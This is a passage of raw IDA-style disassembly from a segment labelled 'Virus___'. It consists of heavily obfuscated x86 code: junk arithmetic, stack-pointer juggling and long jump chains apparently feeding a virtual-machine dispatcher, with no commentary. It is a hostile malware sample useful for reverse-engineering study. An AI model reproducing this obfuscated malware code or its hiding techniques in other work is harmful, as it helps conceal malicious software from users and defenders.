esp, 4 add ebp, 4 xor ebp, [esp] jmp loc_550965 ; --------------------------------------------------------------------------- loc_563930: ; CODE XREF: Virus___:00561D03j xchg eax, [esp] mov esp, [esp] mov [esp], eax mov eax, esp sub esp, 4 jmp loc_561B6C ; --------------------------------------------------------------------------- loc_563946: ; CODE XREF: Virus___:0055FB12j xor ebp, 22D4723Ch shr ebp, 1 shr ebp, 2 sub ebp, 300C62A6h add ebp, 27BF1A02h mov esi, ebp pop ebp push esi xor dword ptr [esp], 6A571206h jmp loc_55D708 ; --------------------------------------------------------------------------- loc_56396D: ; CODE XREF: Virus___:00552EAEj sub ebp, ecx pop ecx jmp loc_55DCDF ; --------------------------------------------------------------------------- loc_563975: ; CODE XREF: Virus___:0055A95Bj inc edx jmp loc_559AE1 ; --------------------------------------------------------------------------- loc_56397B: ; CODE XREF: Virus___:00552E0Cj sub esp, 4 jmp loc_55F95D ; --------------------------------------------------------------------------- loc_563986: ; CODE XREF: Virus___:0055539Ej push ecx mov ecx, 56E01950h add esi, ecx pop ecx jmp loc_551B7D ; --------------------------------------------------------------------------- loc_563994: ; CODE XREF: Virus___:0055F1B4j pop edi push ebp mov ebp, 41FC2DC6h add eax, ebp pop ebp sub eax, edx jmp loc_553466 ; --------------------------------------------------------------------------- loc_5639A5: ; CODE XREF: Virus___:00562BA1j pop ecx sub edx, 6081CD63h sub ebx, edx pop edx sub ebx, esi add ebx, 1BE7AA9h pop esi jmp loc_5502FA ; --------------------------------------------------------------------------- loc_5639BD: ; CODE XREF: Virus___:0055CB9Aj pop edi mov edx, ecx pop ecx sub eax, edx jmp loc_557ADF ; --------------------------------------------------------------------------- loc_5639C8: ; CODE XREF: Virus___:00554545j push edx mov edx, esp jmp loc_562BE3 ; --------------------------------------------------------------------------- loc_5639D0: ; CODE XREF: Virus___:0056430Ej dec al xor al, 0E3h neg al inc al sub al, 0B9h sub cl, al pop eax push 2ADBh jmp loc_55A0E2 ; --------------------------------------------------------------------------- loc_5639E7: ; CODE XREF: Virus___:00562B2Bj mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_55B725 ; --------------------------------------------------------------------------- loc_5639FE: ; CODE XREF: Virus___:0055D43Bj sub ebp, 50371BB6h xor ebp, 0F8A6F945h jmp loc_55CB1F ; --------------------------------------------------------------------------- loc_563A0F: ; CODE XREF: Virus___:0055A8DFj sub esi, 5DFE83D9h sub eax, 1CC81934h add eax, esi add eax, 1CC81934h pop esi xor edx, eax pop eax jmp loc_55FF8F ; --------------------------------------------------------------------------- loc_563A2A: ; CODE XREF: Virus___:00555A40j sub esi, ebp jmp loc_550048 ; --------------------------------------------------------------------------- loc_563A31: ; CODE XREF: Virus___:005630ABj pop esp jmp loc_55D86C ; --------------------------------------------------------------------------- loc_563A37: ; CODE XREF: Virus___:00550A61j add esi, eax jmp loc_55C1BD ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ecx push 3A54h mov [esp], esp add dword ptr [esp], 4 pop ecx push eax mov eax, 203377B8h shl eax, 7 neg eax jmp loc_558E06 ; --------------------------------------------------------------------------- loc_563A68: ; CODE XREF: Virus___:0055BA57j inc eax shr eax, 4 add eax, 4EDCCE29h push ebp jmp loc_55E181 ; --------------------------------------------------------------------------- loc_563A77: ; CODE XREF: Virus___:0055A469j mov eax, 29E9214Ch dec eax jmp loc_550A48 ; --------------------------------------------------------------------------- loc_563A82: ; CODE XREF: Virus___:00552D24j pop eax push dword ptr [esp] pop eax jmp loc_55DF82 ; --------------------------------------------------------------------------- loc_563A8C: ; CODE XREF: Virus___:0055527Ej add ecx, 4 xchg ecx, [esp] pop esp add esi, 4 add esi, 4 push esi push dword ptr [esp+4] push dword ptr [esp] pop esi jmp loc_55A439 ; --------------------------------------------------------------------------- loc_563AAD: ; CODE XREF: Virus___:0055DA59j add esp, 4 add ebx, 1 push edi push ebp mov ebp, esp add ebp, 4 jmp loc_55F4A8 ; --------------------------------------------------------------------------- loc_563AC2: ; CODE XREF: Virus___:00563230j sub esi, 2C247B6Bh mov ebx, esi pop esi add ebx, edx add [ebx], ecx pop ebx pop edx mov ecx, [esp] push ebx mov ebx, esp push edi mov edi, 36552560h jmp loc_562FC5 ; --------------------------------------------------------------------------- loc_563AE2: ; CODE XREF: Virus___:00559492j pop ecx sub esp, 4 mov [esp], ebx mov ebx, 124A019Ah jmp loc_56459D ; --------------------------------------------------------------------------- loc_563AF6: ; CODE XREF: Virus___:00553E43j pop ebx xor ebp, eax mov eax, [esp] add esp, 4 jmp loc_554C79 ; --------------------------------------------------------------------------- loc_563B04: ; CODE XREF: Virus___:00557E86j mov [esp], ebp push 5C20h jmp loc_55F14E ; --------------------------------------------------------------------------- loc_563B11: ; CODE XREF: Virus___:0055F813j add ebp, 0E0DDD4DDh add edi, 791B458Ah add edi, ebp sub edi, 791B458Ah pop ebp sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi push ebx mov ebx, 8200A84Bh sub esp, 4 mov [esp], ebx pop edi mov ebx, [esp] add esp, 4 add ebx, 3509134Dh add ebx, edi sub ebx, 3509134Dh pop edi add edx, 0A3E7381h add edx, ebx jmp loc_55DC25 ; --------------------------------------------------------------------------- loc_563B65: ; CODE XREF: Virus___:00551376j push 6EC9594Ch pop esi add esi, 0F0D7CA7h shr esi, 2 jmp loc_551024 ; --------------------------------------------------------------------------- loc_563B79: ; CODE XREF: Virus___:0055D0EDj mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], eax push esi mov esi, 14BD6746h sub esi, 35DD0901h jmp loc_558886 ; --------------------------------------------------------------------------- loc_563B9B: ; CODE XREF: Virus___:00559668j mov ebp, 4A9E2096h jmp loc_54F8C7 ; --------------------------------------------------------------------------- loc_563BA5: ; CODE XREF: Virus___:0055AFB2j add edi, 7CD4182Ah mov ebx, [esp] jmp loc_562C31 ; --------------------------------------------------------------------------- loc_563BB3: ; CODE XREF: Virus___:0055F585j push dword ptr [esp] pop edx add esp, 4 add edi, esi mov esi, [esp] jmp loc_55DA02 ; --------------------------------------------------------------------------- loc_563BC7: ; CODE XREF: Virus___:0055B515j pop esi jmp loc_556192 ; --------------------------------------------------------------------------- loc_563BCD: ; CODE XREF: Virus___:0055D101j pop ebx mov cx, [esp] add esp, 2 add cl, 5Dh sub cl, dh jmp loc_55EBAF ; --------------------------------------------------------------------------- loc_563BE2: ; CODE XREF: Virus___:00550043j xor esi, 44902ABAh add esi, 84C09A15h add ebp, 0C900EE5h add ebp, esi sub ebp, 0C900EE5h pop esi push eax jmp loc_555DB0 ; --------------------------------------------------------------------------- loc_563C03: ; CODE XREF: Virus___:00559974j pop esp mov [esp], ebp mov ebp, 659B435Fh jmp loc_5505CE ; --------------------------------------------------------------------------- loc_563C11: ; CODE XREF: Virus___:00563086j xor edx, edi pop edi add ebx, edx pop edx push ebp mov ebp, 2E137315h inc ebp sub ebp, 2A2726E5h shl ebp, 4 xor ebp, 5CBE9970h inc ebp push eax mov eax, 33E33C07h xor ebp, eax pop eax add ebx, 4C687C7Ah add ebx, 4FD16971h add ebx, ebp jmp loc_559C7F ; --------------------------------------------------------------------------- loc_563C4A: ; CODE XREF: Virus___:0055692Fj push ebp mov ebp, 513C465Bh xor ecx, ebp jmp loc_553F3D ; --------------------------------------------------------------------------- loc_563C57: ; CODE XREF: Virus___:00563266j pop ebp jmp loc_55C8C8 ; --------------------------------------------------------------------------- loc_563C5D: ; CODE XREF: Virus___:0055BC5Fj mov [esp], edx push esp mov edx, [esp] sub esp, 4 mov [esp], edx jmp loc_561090 ; --------------------------------------------------------------------------- loc_563C6F: ; CODE XREF: Virus___:0055F6BEj add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp mov ebp, 2 push 4440h mov [esp], ebp mov ebp, 0FDE4088h xor ebp, 3F49198Ch add ebp, 3EDBFF5Fh push edi mov edi, 11D570D2h or ebp, edi pop edi push esi push 5D5274B4h pop esi shr esi, 2 neg esi sub esi, 0A46FF52Ah sub ebp, esi pop esi jmp loc_552CDF ; --------------------------------------------------------------------------- loc_563CC3: ; CODE XREF: Virus___:00555B1Aj mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_55D58F ; --------------------------------------------------------------------------- loc_563CD7: ; CODE XREF: Virus___:0055F93Dj push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_55D8B1 ; --------------------------------------------------------------------------- loc_563CE8: ; CODE XREF: Virus___:00555D5Ej mov edx, 2 jmp loc_55C6CB ; --------------------------------------------------------------------------- loc_563CF2: ; CODE XREF: Virus___:005642A4j add dword ptr [esp], 4 pop esi jmp loc_553DEA ; --------------------------------------------------------------------------- loc_563CFC: ; CODE XREF: Virus___:0055563Fj add ebx, 4 xchg ebx, [esp] pop esp add ebx, 0FFFFFFFFh push edx jmp loc_555188 ; --------------------------------------------------------------------------- loc_563D0F: ; CODE XREF: Virus___:0055DDD8j and ecx, esi push dword ptr [esp] pop esi jmp loc_561B12 ; --------------------------------------------------------------------------- loc_563D1A: ; CODE XREF: Virus___:005596A6j mov [esp], edx push eax push ebp jmp loc_555AE8 ; --------------------------------------------------------------------------- loc_563D24: ; CODE XREF: Virus___:00553559j mov eax, edi pop edi jmp loc_559EC7 ; --------------------------------------------------------------------------- loc_563D2C: ; CODE XREF: Virus___:0055FB2Aj xchg ecx, [esp] pop esp add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], eax sub esp, 4 mov [esp], esp push edx mov edx, 4 add [esp+4], edx pop edx pop eax push 65B6h mov [esp], edi mov edi, 4 add eax, edi push dword ptr [esp] pop edi jmp loc_55D762 ; --------------------------------------------------------------------------- loc_563D70: ; CODE XREF: Virus___:005606BBj push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_556549 ; --------------------------------------------------------------------------- loc_563D7D: ; CODE XREF: Virus___:00562AACj mov ebx, [esp] jmp loc_558DA5 ; --------------------------------------------------------------------------- loc_563D85: ; CODE XREF: Virus___:00561F17j pop edx jmp loc_55C839 ; --------------------------------------------------------------------------- loc_563D8B: ; CODE XREF: Virus___:00553CB2j xor ebx, 482651h sub eax, ebx mov ebx, [esp] push ebp mov ebp, esp push eax mov eax, 4 jmp loc_560ED3 ; --------------------------------------------------------------------------- loc_563DA4: ; CODE XREF: Virus___:00552BD9j add edi, esi push dword ptr [esp] pop esi jmp loc_55666E ; --------------------------------------------------------------------------- loc_563DAF: ; CODE XREF: Virus___:005511D3j sub eax, 1BFF64A9h sub esi, 3CDD74F1h add esi, 3B4644Ch add esi, eax sub esi, 3B4644Ch jmp loc_55556D ; --------------------------------------------------------------------------- loc_563DCD: ; CODE XREF: Virus___:005535B7j pop ebp add ecx, 4 jmp loc_55C129 ; --------------------------------------------------------------------------- loc_563DD9: ; CODE XREF: Virus___:00564957j mov [esp], ecx push esp pop ecx add ecx, 4 jmp loc_55C62D ; --------------------------------------------------------------------------- loc_563DE9: ; CODE XREF: Virus___:00552703j shl eax, 6 sub eax, 0CDF6F92h xor eax, 0E2E9D62Ah mov edi, eax mov eax, [esp] add esp, 4 add esi, 44D92ED7h add esi, edi sub esi, 44D92ED7h pop edi push edi mov edi, 4550520Ch shr edi, 2 shl edi, 1 push ebx mov ebx, 37E61A87h not ebx xor ebx, 6CA73A39h xor ebx, 0AF10C152h and edi, ebx jmp loc_55422C ; --------------------------------------------------------------------------- loc_563E33: ; CODE XREF: Virus___:00559CBBj pop eax and ch, 33h neg ch add ch, 0FFh not ch or ch, 0EEh jmp loc_555D81 ; --------------------------------------------------------------------------- loc_563E46: ; CODE XREF: Virus___:00564969j pop esi xor esi, 7D911472h pop edx neg esi sub esi, 0C397948h or esi, 116629h shl esi, 6 jmp loc_56158A ; --------------------------------------------------------------------------- loc_563E64: ; CODE XREF: Virus___:0055912Ej pop ebp jmp loc_555C02 ; --------------------------------------------------------------------------- loc_563E6A: ; CODE XREF: Virus___:00558705j push esi push 503B25A2h mov esi, [esp] add esp, 4 jmp loc_5628E7 ; --------------------------------------------------------------------------- loc_563E7B: ; CODE XREF: Virus___:00559DC4j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_563E90: ; CODE XREF: Virus___:0055FFFBj add dword ptr [esp], 4 push dword ptr [esp] pop esi add esp, 4 jmp loc_561B52 ; --------------------------------------------------------------------------- loc_563EA3: ; CODE XREF: Virus___:0055F45Fj push esi mov esi, 2CBC137h jmp loc_560000 ; --------------------------------------------------------------------------- loc_563EAE: ; CODE XREF: Virus___:00559085j push small 1F5Fh jmp loc_55D497 ; --------------------------------------------------------------------------- loc_563EB7: ; CODE XREF: Virus___:005524A8j mov edx, ebp jmp loc_5515E9 ; --------------------------------------------------------------------------- loc_563EBE: ; CODE XREF: Virus___:0055138Cj add esi, edi add esi, 25B71EE6h jmp loc_55CE12 ; --------------------------------------------------------------------------- loc_563ECB: ; CODE XREF: Virus___:00552E14j not edi push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop edx jmp loc_56296B ; --------------------------------------------------------------------------- loc_563EDC: ; CODE XREF: Virus___:00551325j push ecx jmp loc_5604DD ; --------------------------------------------------------------------------- loc_563EE2: ; CODE XREF: Virus___:00550C2Ej sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx mov edx, 15B63559h and edx, 506F3055h shr edx, 2 not edx shr edx, 7 shr edx, 4 jmp loc_557E47 ; --------------------------------------------------------------------------- loc_563F0A: ; CODE XREF: Virus___:005571E0j add esp, 4 push ebp mov ebp, 3C91607Ch sub dword ptr [esp+8], 1257193Fh sub [esp+8], ebp add dword ptr [esp+8], 1257193Fh jmp loc_555BF8 ; --------------------------------------------------------------------------- loc_563F2C: ; CODE XREF: Virus___:0055AA39j sub edi, 0B915D2F5h or ebx, edi pop edi not ebx shr ebx, 8 shl ebx, 3 xor ebx, 4A440394h xor ebx, 4E8015B0h add edi, ebx pop ebx xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_554544 ; --------------------------------------------------------------------------- loc_563F5A: ; CODE XREF: Virus___:00555D58j shl dl, 1 jmp loc_55BA0F ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 jmp loc_559D2B ; --------------------------------------------------------------------------- loc_563F6D: ; CODE XREF: Virus___:0055686Ej mov esp, [esp] mov [esp], ebp jmp loc_55182F ; --------------------------------------------------------------------------- loc_563F78: ; CODE XREF: Virus___:0054FBABj push eax mov ah, 79h add bl, ah pop eax jmp loc_5574DF ; --------------------------------------------------------------------------- loc_563F83: ; CODE XREF: Virus___:005562F0j sub edi, 3B007407h pop ecx sub esp, 4 mov [esp], edi push dword ptr [esp+4] jmp loc_554DC7 ; --------------------------------------------------------------------------- loc_563F9C: ; CODE XREF: Virus___:00559127j mov esi, 28435685h jmp loc_55F5DF ; --------------------------------------------------------------------------- loc_563FA6: ; CODE XREF: Virus___:0055B96Ej push ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_55C51B ; --------------------------------------------------------------------------- loc_563FB3: ; CODE XREF: Virus___:00562A4Bj xor [esp], ebx xor ebx, [esp] jmp loc_551E3E ; --------------------------------------------------------------------------- loc_563FBE: ; CODE XREF: Virus___:00564812j add esi, 35086351h push esi not dword ptr [esp] pop esi inc esi push 4073h jmp loc_55EB60 ; --------------------------------------------------------------------------- loc_563FD4: ; CODE XREF: Virus___:00550A82j push 3860676Ah pop ecx jmp loc_55835E ; --------------------------------------------------------------------------- loc_563FDF: ; CODE XREF: Virus___:00560B56j add ebp, 4 xchg ebp, [esp] pop esp push ebp push eax xor dword ptr [esp], 5DA509CCh pop ebp xor ebp, 5DA509CCh push 3D57h jmp loc_561F5B ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_56400B: ; CODE XREF: Virus___:00556BD1j push 9EAh mov [esp], ebp mov ebp, 730264B5h add ecx, ebp pop ebp jmp loc_55E014 ; --------------------------------------------------------------------------- loc_564020: ; CODE XREF: Virus___:00551D3Aj xor esi, 25515DD6h jmp loc_551335 ; --------------------------------------------------------------------------- loc_56402B: ; CODE XREF: Virus___:0055E574j mov [esp], edx mov edx, 4 add ecx, edx pop edx push edx push ecx jmp loc_560984 ; --------------------------------------------------------------------------- loc_56403D: ; CODE XREF: Virus___:0055B602j mov edi, 30842F36h jmp loc_5584AC ; --------------------------------------------------------------------------- loc_564047: ; CODE XREF: Virus___:005635CCj shl edx, 4 xor edx, 31C050FAh jmp loc_550069 ; --------------------------------------------------------------------------- loc_564055: ; CODE XREF: Virus___:00562A15j mov [esp], ecx push 301E131Eh mov ecx, [esp] add esp, 4 sub ecx, 1B3211E8h jmp loc_564CBF ; --------------------------------------------------------------------------- loc_56406E: ; CODE XREF: Virus___:00555D84j sub bl, 0CDh jmp loc_55F598 ; --------------------------------------------------------------------------- loc_564076: ; CODE XREF: Virus___:005540E5j add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx mov ebx, 63FD2841h push ebx xor dword ptr [esp], 3ED63203h pop edx jmp loc_5560F0 ; --------------------------------------------------------------------------- loc_56409C: ; CODE XREF: Virus___:loc_557CE2j pop ebp or edx, 694F4A57h push eax mov eax, 0D817C1DEh jmp loc_56259D ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp], cl pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5640BD: ; CODE XREF: Virus___:005535D2j xor ecx, 391A19EAh jmp loc_55E6C6 ; --------------------------------------------------------------------------- loc_5640C8: ; CODE XREF: Virus___:00553AE1j or eax, 52A656AFh neg eax or eax, 9320D93h jmp loc_555FA3 ; --------------------------------------------------------------------------- loc_5640D9: ; CODE XREF: Virus___:00558165j mov ecx, [esp] add esp, 4 mov ecx, [esp] jmp loc_5577FA ; --------------------------------------------------------------------------- loc_5640EA: ; CODE XREF: Virus___:0054FEEEj push 10000h push dword ptr [esp] jmp loc_55BBC3 ; --------------------------------------------------------------------------- loc_5640F7: ; CODE XREF: Virus___:0055B14Bj add esp, 4 mov dword ptr [edx+38h], 424A07B4h sub [edx+38h], ebx push dword ptr [esp] pop ebx jmp loc_55C773 ; --------------------------------------------------------------------------- loc_564110: ; CODE XREF: Virus___:0055D109j push edi jmp loc_55CA00 ; --------------------------------------------------------------------------- loc_564116: ; CODE XREF: Virus___:00553877j add eax, ebp pop ebp and [edi+1Ch], eax push dword ptr [esp] pop eax jmp loc_55132A ; --------------------------------------------------------------------------- loc_564125: ; CODE XREF: Virus___:00560BE7j add al, 0Fh pop ecx add al, 0E6h push cx jmp loc_55063E ; --------------------------------------------------------------------------- loc_564131: ; CODE XREF: Virus___:0055CD80j mov [esp], eax jmp loc_550FCD ; --------------------------------------------------------------------------- loc_564139: ; CODE XREF: Virus___:0055536Ej add esp, 4 push ebp jmp loc_55D6C6 ; --------------------------------------------------------------------------- loc_564142: ; CODE XREF: Virus___:00562F73j push edx jmp loc_561BA4 ; --------------------------------------------------------------------------- loc_564148: ; CODE XREF: Virus___:0055265Dj mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push ecx push 4015535Eh pop ecx shl ecx, 2 push ecx not dword ptr [esp] pop ecx add ecx, 554D7Bh mov esi, ecx mov ecx, [esp] jmp loc_551F0B ; --------------------------------------------------------------------------- loc_56417C: ; CODE XREF: Virus___:0055D76Fj push ebp push 3E143CC6h pop ebp shr ebp, 8 dec ebp add ebp, 0AF6CE3h add ebp, 18EA0D2Bh push edx mov edx, 47E88D6h xor ebp, edx pop edx jmp loc_55BFB4 ; --------------------------------------------------------------------------- loc_5641A1: ; CODE XREF: Virus___:00554DE9j mov ebx, 17C33956h jmp loc_54FB90 ; --------------------------------------------------------------------------- loc_5641AB: ; CODE XREF: Virus___:0055E78Fj shl edx, 1 jmp loc_55DCA1 ; --------------------------------------------------------------------------- loc_5641B2: ; CODE XREF: Virus___:00558E0Dj xor [esp], edx not edx xor [esp], edx xor edx, [esp] xor [esp], edx pop eax not eax jmp loc_5569BE ; --------------------------------------------------------------------------- loc_5641C8: ; CODE XREF: Virus___:00558E01j sub [esp], bl mov bl, [esp] jmp loc_5571F4 ; --------------------------------------------------------------------------- loc_5641D3: ; CODE XREF: Virus___:0055B445j sub al, 0B9h push dx mov dh, 2Fh add al, dh jmp loc_561E7C ; --------------------------------------------------------------------------- loc_5641E0: ; CODE XREF: Virus___:00553AEBj mov esi, [esp] add esp, 4 push ebx mov ebx, 28C97937h xor esi, ebx jmp loc_5558DC ; --------------------------------------------------------------------------- loc_5641F3: ; CODE XREF: Virus___:00554C74j add esi, eax sub esi, 6C1E6588h push dword ptr [esp] mov eax, [esp] add esp, 4 push edx jmp loc_560C53 ; --------------------------------------------------------------------------- loc_56420A: ; CODE XREF: Virus___:005560CEj push eax mov eax, esp add eax, 4 jmp loc_5576B6 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], ax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_564227: ; CODE XREF: Virus___:005571CBj and cl, 0EBh sub cl, 0C0h jmp loc_5579BB ; --------------------------------------------------------------------------- loc_564232: ; CODE XREF: Virus___:0054F8C2j pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_561FE7 ; --------------------------------------------------------------------------- push 3867h mov [esp], edx jmp loc_556698 ; --------------------------------------------------------------------------- loc_56424B: ; CODE XREF: Virus___:0055A1E0j add edx, 4 push ebp jmp loc_556FDA ; --------------------------------------------------------------------------- loc_564257: ; CODE XREF: Virus___:00564BD2j push dword ptr [esp] pop ecx push 5F2h jmp loc_55310D ; --------------------------------------------------------------------------- loc_564265: ; CODE XREF: Virus___:005531CBj jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_56426A: ; CODE XREF: Virus___:00560245j mov ecx, esp jmp loc_564817 ; --------------------------------------------------------------------------- loc_564271: ; CODE XREF: Virus___:00559E41j push edx mov dh, 0DBh not dh or dh, 0AFh xor dh, 14h sub al, dh pop edx add al, bl jmp loc_551DBA ; --------------------------------------------------------------------------- loc_564286: ; CODE XREF: Virus___:0055BB97j pop esi pop dword ptr [esp] pop esp jmp loc_5611EC ; --------------------------------------------------------------------------- loc_564290: ; CODE XREF: Virus___:0055B082j mov ecx, ebp jmp loc_562595 ; --------------------------------------------------------------------------- loc_564297: ; CODE XREF: Virus___:0055D0F8j mov ebp, [esp] push esi push 2047h push esp pop dword ptr [esp] jmp loc_563CF2 ; --------------------------------------------------------------------------- loc_5642A9: ; CODE XREF: Virus___:00550AA5j push eax jmp loc_55E8A3 ; --------------------------------------------------------------------------- loc_5642AF: ; CODE XREF: Virus___:00553192j mov bh, dl jmp loc_564693 ; --------------------------------------------------------------------------- loc_5642B6: ; CODE XREF: Virus___:00553E09j sub esp, 4 mov [esp], edx push eax push 43FA4C67h mov eax, [esp] add esp, 4 shl eax, 2 sub eax, 1 sub esp, 4 mov [esp], ebp push edi mov edi, 6B117E3Fh jmp loc_5542AF ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5642EA: ; CODE XREF: Virus___:00554C09j xor esi, 1B1D0664h jmp loc_550B40 ; --------------------------------------------------------------------------- loc_5642F5: ; CODE XREF: Virus___:0056002Dj mov edx, 393E446h add edx, eax pop eax sub eax, edx jmp loc_550E76 ; --------------------------------------------------------------------------- loc_564304: ; CODE XREF: Virus___:0055B873j mov [esp], eax jmp loc_559624 ; --------------------------------------------------------------------------- loc_56430C: ; CODE XREF: Virus___:005530F8j add al, 0FFh jmp loc_5639D0 ; --------------------------------------------------------------------------- loc_564313: ; CODE XREF: Virus___:0055B30Cj push dword ptr [esp] jmp loc_55AB49 ; --------------------------------------------------------------------------- loc_56431B: ; CODE XREF: Virus___:0056181Bj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] xchg eax, [esp] jmp loc_555CED ; --------------------------------------------------------------------------- loc_564334: ; CODE XREF: Virus___:0055EDA4j add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp push esi sub esp, 4 mov [esp], edx mov edx, 7D3414DAh mov esi, 0CFF05740h sub esi, 1A216D31h add esi, edx jmp loc_5519BA ; --------------------------------------------------------------------------- loc_564368: ; CODE XREF: Virus___:005507D9j or ebx, 575C73DAh push esi jmp loc_552F3D ; --------------------------------------------------------------------------- loc_564374: ; CODE XREF: Virus___:0056476Dj pop dword ptr [edi+24h] mov esi, [esp] add esp, 4 loc_564380: ; CODE XREF: Virus___:0055DA72j sub esp, 4 mov [esp], edx push ebx sub esp, 4 mov [esp], eax mov eax, 71A43D5h add dword ptr [esp+4], 517821FEh jmp loc_5575B5 ; --------------------------------------------------------------------------- loc_5643A5: ; CODE XREF: Virus___:00553977j pop edi add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_55E992 ; --------------------------------------------------------------------------- loc_5643BA: ; CODE XREF: Virus___:0055434Fj mov edx, edi mov edi, [esp] add esp, 4 add eax, 120177B8h add eax, edx sub eax, 120177B8h jmp loc_56009F ; --------------------------------------------------------------------------- loc_5643D6: ; CODE XREF: Virus___:0055B9D5j push ax mov ah, 63h neg ah or ah, 0CAh push edx mov dl, 93h push ecx mov cl, 7Dh not cl neg cl jmp loc_55C35B ; --------------------------------------------------------------------------- loc_5643EE: ; CODE XREF: Virus___:0055BD66j add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_551857 ; --------------------------------------------------------------------------- loc_564402: ; CODE XREF: Virus___:00552A95j push 50D3h mov [esp], eax jmp loc_55A20B ; --------------------------------------------------------------------------- loc_56440F: ; CODE XREF: Virus___:00557ABEj sub ecx, edi sub ecx, 23944BFDh mov edi, [esp] push 54ABh mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp rep movsd add esp, [edx+38h] push ebx push 73F5h mov [esp], esi jmp loc_555109 ; --------------------------------------------------------------------------- loc_56444B: ; CODE XREF: Virus___:0054F93Bj pop esp sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], eax jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_56445D: ; CODE XREF: Virus___:0055FC94j and al, 1Fh sub al, 2Dh add al, 67h push ecx push edx mov dh, al mov ch, dh pop edx mov dh, ch mov ecx, [esp] jmp loc_5557C9 ; --------------------------------------------------------------------------- loc_564474: ; CODE XREF: Virus___:0055051Dj push ebx jmp loc_55C779 ; --------------------------------------------------------------------------- loc_56447A: ; CODE XREF: Virus___:00552EC9j shl edi, 3 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_557115 ; --------------------------------------------------------------------------- loc_564491: ; CODE XREF: Virus___:0055F5B8j add [esp+4], ecx pop ecx push dword ptr [esp] pop ebx add esp, 4 add ebx, 4 push edx mov edx, 2 add ebx, edx pop edx jmp loc_560BFE ; --------------------------------------------------------------------------- loc_5644B4: ; CODE XREF: Virus___:0055D5CCj xor eax, 323E2A30h push 445h jmp loc_563163 ; --------------------------------------------------------------------------- loc_5644C3: ; CODE XREF: Virus___:0055C741j add dword ptr [esp], 4 mov eax, [esp] add esp, 4 push ecx push 28631F0h mov ecx, [esp] add esp, 4 xchg edx, ecx jmp loc_55CCE4 ; --------------------------------------------------------------------------- loc_5644E0: ; CODE XREF: Virus___:00555E1Fj mov ecx, 235B6216h or ecx, 71762B31h add ecx, 785823F9h neg ecx sub ecx, 1 add ecx, 2C2EB7B1h sub esi, 4FE15848h jmp loc_564BE8 ; --------------------------------------------------------------------------- loc_56450A: ; CODE XREF: Virus___:00550F59j sub [esp], ebx add dword ptr [esp], 24A410Bh pop ebx add ebx, 37F39849h xor [esp+4], ebx mov ebx, [esp] add esp, 4 jmp loc_562AE9 ; --------------------------------------------------------------------------- loc_56452D: ; CODE XREF: Virus___:00555BC5j pop esp sub esp, 4 mov [esp], edx mov edx, 61C7333Ah jmp loc_55F89D ; --------------------------------------------------------------------------- mov ax, [esp] push 5351h mov [esp], eax jmp loc_55C73B ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push ebx mov ebx, esp push 35F3h mov [esp], eax push edi push 1DB7564Bh pop edi neg edi jmp loc_555F1B ; --------------------------------------------------------------------------- loc_56456C: ; CODE XREF: Virus___:0055DF12j mov [esp], ebp push 173123Eh pop ebp push edx mov edx, 4F0267D0h sub ebp, 762D2F77h add ebp, 21BE76D2h jmp loc_55C3A7 ; --------------------------------------------------------------------------- loc_56458C: ; CODE XREF: Virus___:00550147j sub ebp, 31E31784h mov edi, ebp pop ebp add ecx, edi pop edi jmp loc_55DAB0 ; --------------------------------------------------------------------------- loc_56459D: ; CODE XREF: Virus___:00563AF1j inc ebx neg ebx not ebx xor ebx, 0F4417BBh add ebx, 0B4D1058h xor ecx, ebx jmp loc_55CA8F ; --------------------------------------------------------------------------- loc_5645B5: ; CODE XREF: Virus___:0054F926j sub edx, 0A8C44CF9h jmp loc_562F85 ; --------------------------------------------------------------------------- loc_5645C0: ; CODE XREF: Virus___:0056086Cj xor esi, 0CF46904h or ebx, esi pop esi shr ebx, 5 inc ebx jmp loc_55794E ; --------------------------------------------------------------------------- loc_5645D2: ; CODE XREF: Virus___:005518A8j pop ebx jmp loc_55DE95 ; --------------------------------------------------------------------------- loc_5645D8: ; CODE XREF: Virus___:0055799Bj mov esi, 7F8910BCh mov eax, 69FA5044h xor eax, esi jmp loc_55A24F ; --------------------------------------------------------------------------- loc_5645E9: ; CODE XREF: Virus___:0055529Fj add esp, 4 add bl, 99h add bl, al sub bl, 